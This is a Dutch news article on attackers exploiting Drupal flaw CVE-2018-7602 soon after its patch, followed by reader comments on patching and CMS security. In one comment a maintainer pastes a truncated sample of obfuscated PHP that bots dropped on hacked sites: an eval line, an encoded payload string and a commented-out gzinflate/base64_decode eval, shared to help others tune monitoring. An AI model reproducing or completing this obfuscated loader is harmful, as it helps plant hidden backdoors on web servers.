Aanvallers misbruiken kritiek Drupal-lek kort na uitkomen patch

Het team achter contentmanagementsysteem Drupal waarschuwt dat aanvallers misbruik maken van een lek waarvoor woensdagavond een patch uitkwam. De kwetsbaarheid maakt het op afstand uitvoeren van code mogelijk.

Het Drupal-team publiceerde woensdagavond laat de waarschuwing voor de aanvallen, enkele uren nadat het de patch voor de kwetsbaarheid had vrijgegeven. Het waarschuwde dinsdag dat er op korte termijn een patch voor een kritiek lek zou uitkomen. Toen verwachtte het ook al dat er mogelijk binnen enkele uren exploits voor het lek zouden verschijnen.

Een Drupal-maintainer zegt tegen Ars Technica dat de aanvallers gebruikmaken van proof-of-concept-code die inmiddels online is verschenen op Pastebin. Bij die code, die geschikt is voor Drupal 7, is vermeld dat de aanvaller geauthenticeerd moet zijn en nodes moet kunnen verwijderen.

De code zou nog niet geschikt zijn voor geautomatiseerde aanvallen, bijvoorbeeld door middel van een botnet. Doordat er nu gerichte aanvallen plaatsvinden, heeft het Drupal-team besloten de ernst van het lek te verhogen naar 'hoogst kritiek', terwijl het in eerste instantie alleen de aanduiding 'kritiek' hanteerde. Het heeft woensdag een site gepubliceerd met daarop informatie over het lek en de beschikbare patches. De kwetsbaarheid, met kenmerk CVE-2018-7602, is gevonden door het team zelf en geldt voor versies 7 en 8 van het cms.

Gebruikers van versie 7.x kunnen updaten naar versie 7.59, voor 8.5.x is 8.5.3 uitgekomen en voor het niet langer ondersteunde 8.4.x is er een update naar versie 8.4.8. In het laatste geval raadt het team een vervolgupdate naar versie 8.5.3 aan.

De nieuwe patches volgen op een eerder 'hoogst kritiek' lek, waarvoor het Drupal-team eind maart patches uitbracht. In dat geval duurde het ongeveer twee weken voordat het team waarschuwde dat aanvallers actief gebruikmaakten van het lek. Uiteindelijk gebeurde dat ook op grote schaal door botnets.

Reacties (44)

[zeduude]

Jeeeahh... vanochtend 10 sites ge-repatched... ( ten to go... )...
Heerlijk om de klanten opniew te benaderen om ze te vertellen dat de vorige update niet alles gedicht had en dat we weer wat tijd moeten besteden.. ( onderhoudscontracten... ), k#& voor degenen zonder.. (mail , wachten op antwoord, ja-> updaten, testen produktie / nee -> site in prullenbak of servers geblokkeerd na hack.. )

Leuk om te weten, zonder patch gooien de bots er meerdere php scriptjes in om of :
dos attacks te lanceren (1x server geblokkeerd.. ), of om miners te starten ( 3x voorgekomen)..

[Muncher]

Heb je voorbeelden van die scripts? Zou graag ff de monitoring wat aanscherpen

[Reactie gewijzigd door Muncher op 26 juli 2024 11:12]

[zeduude]

voorbeeldje :
[code]
eval("\n\$dgreusdi = intval(__LINE__) * 337;");^M

$a = "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHA
$a = str_replace($dgreusdi, "E", $a);
// eval (gzinflate(base64_decode($a)));
[/code]
leuke obsuscatie van botcrap...
dankzij de code in git, gebruik van dockers en backups van de db is het schoonmaken een taartstukkie
[edit : delete gedecodeerde meh want veel te lang.. ]

[Reactie gewijzigd door zeduude op 26 juli 2024 11:12]

[Koeniepoenie]

Wil niet flauw doen, maar dit is toch inherent aan het gebruik van een opensource CMS? Dan heb je toch eigenlijk altijd een regeling om dit soort updates te kunnen uitvoeren? Mocht je het onverhoopt toch niet geregeld hebben met een klant, dan upgrade je bij dit soort ernstige lekken toch altijd? Alleen al omdat dit soort lekken ook vervelende gevolgen kan hebben voor jou als bedrijf.

[Verwijderd]

Zo werken zakelijke overeenkomsten niet... zeker niet met mensen die op geld zitten.Doorgaans heb je gewoon een dienstverlenende rol en is de betaler gewoon de baas en kan je daar alleen in adviseren.

De suggestie wekken dat je dat in dergelijke gevallen maar gratis moet doen is natuurlijk leuk, maar als dat hek van de dam is zit je de helft van de tijd gratis te werken want wanneer is zo'n patch kritiek. En als dat uitloopt qua werkzaamheden wie gaat dat betalen? Uiteindelijk moet iedereen ook gewoon eten. Het patchen en de kosten van die werkzaamheden zijn gewoon gebruikerskosten en als men die niet wil betalen hoef je je daar als beheerder niet plaatsvervangend verantwoordelijk voor te voelen wat mij betreft. Dan roep je allemaal stress over jezelf af van systemen waar je inhoudelijk niet zo veel mee te schaften hebt verder.
Als daar andere belangen in meedingen zoals de potentie op grote datalekken of belangen van een derde heb je hooguit de plicht dat te melden bij de nodige kanalen of de server af te sluiten als het door omstandigheden echt niet houdbaar is.

Zelfs gratis mag je niet in alle gevallen zomaar aan zo'n cms gaan trekken overigens.
Als jij websites hosts is dat voor jezelf verder een kwestie van adequaat sandboxen.

[Reactie gewijzigd door Verwijderd op 26 juli 2024 11:12]

[Peran]

Een interessante filosofische discussie doemt hier op..

Ik kan me een toekomst voorstellen waarbij je actie moet ondernemen. Als *jij* een website draait die mede verantwoordelijk is voor schade aan anderen, door dat hij om willekeurige reden niet gepatcht is én het ligt in de lijn der verwachtingen dat er misbruik gaat voorkomen..

[Verwijderd]

Ik zie daar een gezamenlijke verantwoordelijkheid in waarbij beheerders dat moeten signaleren en met een redelijk plan van aanpak moeten komen en website eigenaars daar gewoon voor moeten betalen conform een afgesproken werktarief, ik zou niet weten waarom die verplichting puur bij de eigenaar van het externe IP adres/hoster zou liggen.
Kan niet zo zijn dat zo'n opdrachtgever roept dat hij nergens voor gaat betalen en jij dat desondanks allemaal maar moet gaan regelen.

Even vooropgesteld dat ik me afvraag in tot hoeverre dit in de praktijk echt een ding is waar wat mee moet gebeuren. Veruit de meeste werkzaamheden worden gewoon uitgevoerd.

[Reactie gewijzigd door Verwijderd op 26 juli 2024 11:12]

[BruT@LysT]

Wij hebben gewoon standaard een service-overeenkomst met de klant, als ze die overeenkomst niet zijn aangegaan onderhouden we ook niets (met alle risico's van dien uiteraard, maar dit weet de klant! <- dit komt overigens vrijwel nooit voor). Dus natuurlijk altijd updaten, daarvoor hoef ik niet eerst met de klant te overleggen. Gewoon maandelijks betalen en we voeren alles voor je uit wat nodig is om je website in de lucht te houden en passen eventueel wat tekst op de website voor je aan en voegen wat functionaliteit toe etc... Wij werken overigens met Joomla en niet met Drupal. Als ze te beroerd zijn om te betalen of het mag allemaal niets kosten zou ik gewoon geen samenwerking aangaan, veel te veel risico's en levert meestal ook nog eens gezeik op met de klant. Als jij kwaliteit wil kunnen leveren, zullen ze daar voor moeten betalen. Als ze niet begrijpen waarom, zorg dat je ze dit haarfijn uitlegt. Als ze denken dat het je alleen maar om het geld te doen is omdat ze er van overtuigt zijn dat onderhoud allemaal toch niets voorstelt (regelmatig horen we dit) en er blijft een hoop weerstand en onbegrip naar ons toe, dan gaan we de samenwerking niet aan. Maar ik ga echt geen lekken dichten waar niet voor wordt betaald, ik zou ook niet weten waarom ik daar als bedrijf ineens problemen door zou krijgen, de klant is bewust van deze overeenkomst. Het gootste gevaar hier is dat je overal gratis tijd in gaat steken, dat is absoluut niet rendabel.

[Reactie gewijzigd door BruT@LysT op 26 juli 2024 11:12]

[Koeniepoenie]

Zo werken zakelijke overeenkomsten niet... zeker niet met mensen die op geld zitten.Doorgaans heb je gewoon een dienstverlenende rol en is de betaler gewoon de baas en kan je daar alleen in adviseren.

Snap ik, maar ik vind dat je als implementatiepartij van een opensource CMS best wel het standpunt in kan nemen dat kiezen voor het implementeren van opensource als gevolg heeft dat er een bepaald SLA moet zijn voor security updates. Dit hoeft echt niet super duur te zijn, maar bijv. een reservering van 2 tot 4u per maand om dit soort updates te kunnen doen. Dan heb je altijd de mogelijkheid om dit soort updates te kunnen draaien zonder dat je eerst goedkeuring moet hebben van je klant(en).

Zelfs gratis mag je niet in alle gevallen zomaar aan zo'n cms gaan trekken overigens.

Als jij websites hosts is dat voor jezelf verder een kwestie van adequaat sandboxen.
Als hoster vind ik het een ander verhaal, ik bekijk het alleen vanuit het perspectief van de CMS leverancier.

[Reactie gewijzigd door Koeniepoenie op 26 juli 2024 11:12]

[Verwijderd]

Snap ik, maar ik vind dat je als implementatiepartij van een opensource CMS best wel het standpunt in kan nemen dat kiezen voor het implementeren van opensource als gevolg heeft dat er een bepaald SLA moet zijn voor security updates. Dit hoeft echt niet super duur te zijn, maar bijv. een reservering van 2 tot 4u per maand om dit soort updates te kunnen doen. Dan heb je altijd de mogelijkheid om dit soort updates te kunnen draaien zonder dat je eerst goedkeuring moet hebben van je klant(en).

Mensen die moeilijk doen over een factuur van een half uur voor de installatie van een patch gaan ook moeilijk doen over een standaard mandaat van x tijd hoor.
In de praktijk is er vaak niets zo veel aan de hand maar zeker binnen MKB gaat het nog wel eens anders dan je zou willen.

[Reactie gewijzigd door Verwijderd op 26 juli 2024 11:12]

[Koeniepoenie]

Klopt. Daarom zijn sommige dingen mijns inziens non-negiotable.

Klinkt misschien wat hard/lomp, maar als jij de beste service wilt kunnen bieden aan je klanten wat in dit geval zeer gemakkelijk concreet te maken is (als we dit niet doen loop je een grotere kans op hacks/datalekken) moet je bepaalde dingen kunnen afdwingen.

[Peran]

Toffe reactie!

[HADES2001]

Met alle berichten over dit systeem de laatste tijd begin ik me zwaar af te vragen of
1) is er een actieve groep mensen actief bezig dit systeem te kraken?
2) is dit systeem gewoon zo lek als een mandje?
Er zijn de laatste tijd non stop kritieke patches, en telkens weer komt het neer op "code op afstand" dus ook niet de meest fijne

[kodak]

Er zijn de laatste tijd non stop kritieke patches, en telkens weer komt het neer op "code op afstand" dus ook niet de meest fijne

Er zijn er in de afgelopen maanden 2 highly critical security bugs verholpen en sinds 2014 zijn er 4 in de core verholpen. Noem je dat non-stop kritieke patches? (Bijna altijd gaan kritieke patches over het verhelpen van remote code execution. Daarom zijn het kritieke patches.)

1) is er een actieve groep mensen actief bezig dit systeem te kraken?
2) is dit systeem gewoon zo lek als een mandje?

Er zijn een paar miljard aardbewoners en er zijn duizenden regels code in Drupal. Het is aannemelijk dat er altijd wel iemand met verstand van security bugs zoekt in een populaire CMS als Drupal. Er zijn er ook genoeg die niet zelf zoeken en wachten tot een ander fouten bekend maakt. Daarna herhalen ze het kunstje in andere variabelen in de hoop dat het daar niet in is opgelost.

Of het systeem zo lek als een mandje is met duizenden regels code valt moeilijk te zeggen zonder het goed te testen. Wat wel duidelijk is is dat het gedeelte van de Drupal core waar de laatste kritieke lekken in gevonden zijn erg slecht getest is voor het officieel werd. Het valt op dat de delen van de code waar het hier om gaat op een aantal plaatsen geen validatie op foute invoer deed en het na het oplossen van de eerste security bug niet verder gezocht lijkt of de fout ook op andere plaatsen van die code was gemaakt. Wat nu het geval blijkt. Vooral de controle op kwaliteit in dit gedeelte van de core is lek.

[Reactie gewijzigd door kodak op 26 juli 2024 11:12]

[Sysosmaster]

[...]

Er zijn er in de afgelopen maanden 2 highly critical security bugs verholpen en sinds 2014 zijn er 4 in de core verholpen. Noem je dat non-stop kritieke patches? (Bijna altijd gaan kritieke patches over het verhelpen van remote code execution. Daarom zijn het kritieke patches.)
[...]
[...]

Er zijn een paar miljard aardbewoners en er zijn duizenden regels code in Drupal. Het is aannemelijk dat er altijd wel iemand met verstand van security bugs zoekt in een populaire CMS als Drupal. Er zijn er ook genoeg die niet zelf zoeken en wachten tot een ander fouten bekend maakt. Daarna herhalen ze het kunstje in andere variabelen in de hoop dat het daar niet in is opgelost.
[...]
Of het systeem zo lek als een mandje is met duizenden regels code valt moeilijk te zeggen zonder het goed te testen. Wat wel duidelijk is is dat het gedeelte van de Drupal core waar de laatste kritieke lekken in gevonden zijn erg slecht getest is voor het officieel werd. Het valt op dat de delen van de code waar het hier om gaat op een aantal plaatsen geen validatie op foute invoer deed en het na het oplossen van de eerste security bug niet verder gezocht lijkt of de fout ook op andere plaatsen van die code was gemaakt. Wat nu het geval blijkt. Vooral de controle op kwaliteit in dit gedeelte van de core is lek.

De code in kwestie is geintroduceerd met Drupal 5, Vereist dat je form geen fout heeft of geen toegang (dan woorden deze waardes meestal overschreven / weggegooid). En gebruikt waardes die nooit naar de client worden gestuurd. (De bug sit er dus in dat deze waardes van de client wel in het lijstje werden gezet.) Het is iderdaad tot nog toe niet opgevallen bij andere testen. Noch bij de vele security audits die drupal site's hebben gehad sinds Drupal 5.

[Croga]

2) is dit systeem gewoon zo lek als een mandje?

In tegenstelling tot de meeste systemen wordt Drupal over het algemeen gepatched voordat het "lek" in het veld misbruikt wordt.
Daarnaast praten we hier niet over een serieus lek. Je moet zowieso al behoorlijk wat rechten hebben wil je dit überhaupt kunnen gebruiken....

[Bor]

In tegenstelling tot de meeste systemen wordt Drupal over het algemeen gepatched voordat het "lek" in het veld misbruikt wordt.

Was het maar zo mooi. De laatste patches heeft men tijd gekregen omdat de exploits niet vanuit de black hat hoek kwamen.

Daarnaast praten we hier niet over een serieus lek.

Geen serieus lek? Het lek / de CVE is aangeduid als: Security risk: Highly critical (Remote code execution) met een score van 20 van de 25!

20∕25 AC:Basic/A:User/CI:All/II:All/E:Exploit/TD:Default (uitleg hier)

Bron: Drupal site

[Reactie gewijzigd door Bor op 26 juli 2024 11:12]

[Sysosmaster]

Als met “behoorlijk wat rechten” je bedoeld, “Een (login) form en een niet extra geharde php” dan klopt dat ja.

Maar een standaard php (Bvb uit een repo) en de standaard login form (welke zelfs bij maintanence mode nog beschikbaar is) is gewoon kwetsbaar tenzij gepatched.

Code die van de client komt word gewoon uitgevoerd als deze in het juiste veld word geduwd. Iets wat specifieke Drupal kennis vereiste om te achterhalen en iets dat onvoorstelbaar is of het ook werkt of niet (maar een Security researcher net Drupal ervaring is het toch gelukt om het op te sporen voordat er exploits waren).

[Ergomane]

Dat is onjuist. Dat je node delete rechten moet hebben is alleen nodig voor _deze_ specifieke exploit. Bovendien moet je bij de huidige pogingen ook nog eens een node 99 hebben.... Dit lijkt dus een uiterst naïve poging.

[Martin]

2 patches en dan beginnen over "non stop kritieke patches" en "zo lek als een mandje", juist

[Verwijderd]

Het was dus wel zo lek als een mandje. En waarschijnlijk nog steeds wel. Wordpress ook overigens.

// edit: Okay, -1. Dus het is nu niet meer lek? Knap als je dat vanuit hier kunt bepalen en garanderen. Tot bij het volgende bericht van een patch/lek hier dan maar weer.

@Woutske Ja klopt, dat weet ik. Daarom zette ik Wordpress er hier ook maar bij, dat is nog veel erger. Ik wil alleen zeggen dat je software nooit 100% kan garanderen dat het niet lek is. En de term 'zo lek als een mandje' nam ik gewoon van de starter van deze draad @HADES2001 over. Het is een term die ik om me heen ook hoor, vooral over Wordpress, zelfs van klanten die zelf zo'n website hebben.

[Reactie gewijzigd door Verwijderd op 26 juli 2024 11:12]

[Woutske]

Wordpress zit echt op een totaal ander niveau dan Drupal. In Wordpress kan je door het plaatsen van één bestandje al een volledige website overnemen. En dat bestandje is op honderden manieren aan te maken vanuit Wordpress core. Er hoeft maar een plugin maker niet na te denken en je hele site wordt overgenomen (en dat zijn meer plugins dan je denkt)

[Woutske]

Dat er een lek in zit is natuurlijk niet te voorkomen, er zitten waarschijnlijk nog een aantal andere plekken die misbruikt kunnen worden.

Iedereen valt bij jou echter over "zo lek als een mandje", dit is simpelweg niet waar. Als iedere idioot op tientallen manieren Drupal kan overnemen, dan zou ik het lek als een mandje noemen. Het gaat nu om één of twee fouten die aan het licht kwamen na een hele periode van rust. Om dan de hele software af te schrijven als fundamenteel onveilig vind ik, en kennelijk anderen ook, een overstatement.

[semyon.exe]

1) Tuurlijk, net zoals dat mensen continu bezig zijn lekken te vinden in WordPress en andere CMS-systemen. Je hebt meer kans meerdere gebruikers te bereiken door juist dit soort populaire systemen te targeten.
2) Dat zou ik niet zeggen, elke CMS is zo nu en dan wel is exploitable, het is juist belangrijk dat er een actief team developers achter zit dat hier patches voor uitbrengt, zoals nu ook is gebeurd.

[g4wx3]

Als je een uitgebreid systeem maakt, is echt wel moeilijk om alles onder controle te houden.
Je request wordt via een router omgezet, en roept een class-method aan. maar er zijn veel race-conditions

[Croga]

Bij die code, die is geschikt voor Drupal 7, is vermeld dat de aanvaller geauthenticeerd moet zijn en nodes moet kunnen verwijderen.

Ofwel: Je moet eigenlijk al admin rechten hebben om iets te kunnen doen.....

Dit is geen kritiek lek. Ja, het is lullig maar het is niet te misbruiken door derden. Zo heel erg spannend is het dus niet, zeker als je weet dat het overgrote deel van de Drupal installaties maar een hele beperkte set gebruikers heeft met dit soort rechten....

[tinustate]

Met alleen admin rechten heb je alleen toegang tot het beheer gedeelte.
Met dit lek heb je toegang tot server, zo kun je allerlei dingen ongemerkt installeren en de server nu of op een later moment overnemen of gebruiken voor andere doeleinden.
En als je duizenden lekke drupal installaties hebt kun je zonder veel problemen geautomatiseerd, eventueel aan de hand van beschikbare lijsten, admin logins gaan testen.

[Pater91]

Is het dan niet gemakkelijker om een plugin te modden met een php shell, en deze te installeren als admin? Dan heb je ook volledige toegang en code execution. Ik zie niet in waarom dit lek zo ernstig is, zodra iemand je wachtwoord weet ben je eigenlijk sowieso al fucked.

[Sysosmaster]

Als je al schrijf rechten hebt waarom dan noch een phpshell code toevoegen?

Dit is vergelijkbaar met een open deur intrappen. Het kan maar zegt niets over de deur of het slot.

Bij een Drupal (die goed geïnstalleerd is) kan php niet eens het zelf updaten (geen schrijfrechten) en is er dus een andere verbinding nodig om de Drupal code updates te geven.

[Pater91]

Bij de sites die ik heb moeten testen ( dan spreken we wel over 3 jaar geleden ) had ik bij allen schrijfrechten na het gebruik van een exploit die publiekelijk beschikbaar is. Deze werkte dmv een sql injectie, waarna je het admin account kon aanpassen of doodleuk een nieuwe aanmaken. En er zijn tal van opties om vanaf dit punt verdere rechten te krijgen op de onderliggende server. Vrijwel niemand zet de permissies goed, waardoor je dus gewoon vrij spel hebt.

Offtopic:
Je kan van wordpress zeggen wat je wil, maar de core is naar mijn weten vrij veilig, en dat moet ook wel als je ziet hoeveel wordpress sites er rondzwerven. Het merendeels van de exploits is dan ook gericht op plugins van (onervaren) developers. Zo zie ik nog steeds veel teveel plugins welke vertrouwen op de is_admin() functie om admin gedeeltes af te schermen.
Deze functie doet in deze gevallen niets, hij checkt namelijk niet de permissies, maar slechts of je een admin pagina probeert op te roepen. Een simpele call naar admin-ajax is genoeg om deze functie true te laten returnen, waardoor je 'beveiliging' geen zin heeft. Ik hoop dan ook van harte dat ze deze functie er in de toekomst uitslopen, of in ieder geval duidelijk maken.

[Sysosmaster]

Schrijfrechten op de schijf != schrijf rechten in het CMS.

Een SQL injectie is een andere soort aanval, welke Drupal aardig resistent tegen is gebleken.
Modules die je op je site zet moet je eerst zelf valideren op geschikheid (en onbreken van exploit code).

Bij wordpress is het inderdaad vaak zo dat je updates via de UI kunt doen. bij drupal is dat vook niet mogenlijk.

[HeAdWaVe74]

Kan het zo zijn dat mijn Hosting provider het lek dicht of kan uitsluiten ?
Ik kreeg bij het eerste lek een melding ( Antagonist ) dat zij deze gedicht hebben .
( waarna ik zelf de core nog heb geupdate )

[Verwijderd]

Het is mogelijk om deze requests af te vangen in de firewall, maar dat "dicht" het lek niet...
Ook met een firewall oplossing, altijd de core updaten zodat het zeker dicht is...

[HeAdWaVe74]

Dat doe ik inderdaad altijd braaf, maar het is fijn te weten dat het gevaar ondervangen wordt terwijl ik slaap.

[MrFax]

Is het nu nou echt nieuws dat er misbruik gemaakt wordt van een kritiek lek die volledig is bekendgemaakt/blootgelegd? Natuurlijk zullen er criminelen proberen het lek te misbruiken want niet iedereen update zijn websites op tijd.

[Jan-E]

De schaal waarop geprobeerd wordt misbruik te maken van het lek is wel opvallend. Ook bij sites, die nauwelijks normale bezoekers trekken kwam ik pogingen tegen een ajax upload te doen met een #prefix-argument. Dergelijke pogingen zag ik al op verschillende D7-sites en op een D8-site.

[WhiteDog]

In combinatie met dat andere lek waarbij je zo de database binnenhaalt kan dit wel gevaarlijker zijn. Zal niet lang duren voordat iemand deze combineert.

Ach een keer serieus gehacked worden schud de hardleerse beheerders ook is wakker. Zeker als de hoster hun site een halve dag plat gooit (paniek!) en ze zelf geen backup hebben

[Liberteque]

Ik ben volledig gestopt met CMS bij al mijn klanten. Gewoon weer terug naar HTML. Levert ook weer meer werk op want klanten komen gewoon weer met oldskool website aanpassing opdrachten.. Afgelopen maand weer 22 uur gefactureerd. Everybody happy..

[Sito]

Dan heb je vast geen grote klanten.

[Liberteque]

Klopt.. allemaal MKB

[Verwijderd]

Hehehe, voor een stukje herkenbaar. Aan mijn klanten kan ik zeggen dat ik hun CMS site voor 50 euro in de maand up-to-date kan houden. Dat is dus 600 euro per jaar. En dan nog moet je ze bij alles helpen, want bijvoorbeeld een Wordpress menu kunnen ze zelf niet aanpassen, en de footer widgets kunnen ze ook niet vinden. Daarnaast uploaden ze dan zo 8MB foto's, en/of foto's van allemaal verschillende formaten. Voor een aantal van die klanten ben ik ook overgestapt op alleen php. Dan kan je nog wel menu's makkelijk includen enzo, maar voor de rest is elke aanpassing oldskool ja. Foto's netjes uitsnijden en levels en contrast en hui/saturation nog even aanpassen waar nodig en opslaan voor web. Scheelt ook weer een factor 40 soms met inladen en het ziet er mooier uit. En van hacks hoeft niemand meer wakker te liggen.

Met Drupal was ik overigens in 2008 al gestopt. Dat kostte me teveel gedoe om aanpassingen te maken voor de klant. Met eigen code kreeg ik dat meestal met een factor 4-8 keer zo snel voor elkaar.

Alleen voor webwinkels zit ik nog wel aan een CMS vast. Want de klant wil toch zelf zijn producten kunnen uploaden (ook al gebruiken ze meestal allemaal soorten plaatjes en verschillende maten door elkaar). En om voor elk product een andere pagina te gaan maken, dat is niet te doen. En je orders bijhouden zonder database ook niet.

[veltnet]

Met Drupal was ik overigens in 2008 al gestopt. Dat kostte me teveel gedoe om aanpassingen te maken voor de klant. Met eigen code kreeg ik dat meestal met een factor 4-8 keer zo snel voor elkaar.

Hier idemdito. Drupal is geinig als CMS maar werd door een boel bedrijven misbruikt om applicaties in te bouwen die niets met content management van doen hadden. In Zo'n geval is het vaak handiger/sneller/beter om een maatwerk dingetje te maken (*). Bovendien is eigen code een stuk veiliger omdat Drupal (en Wordpress) potentieel nogal wat aanvalsopties hebben die de klant niet gebruikt en nodig heeft maar die wel in het framework zitten.


(*) Er vanuit gaande dat je weet waar je mee bezig bent

[Reactie gewijzigd door veltnet op 26 juli 2024 11:12]

[Sysosmaster]

Bovendien is eigen code een stuk veiliger omdat Drupal (en Wordpress) potentieel nogal wat aanvalsopties hebben die de klant niet gebruikt en nodig heeft maar die wel in het framework zitten.

Als dat het geval is dan ben weet je dus niet waar je mee bezig bent, en treed je * dus niet in werking. (oftewel je spreekt jezelf gewoon tegen.)

[veltnet]

Lezen is ook een kunst ;-)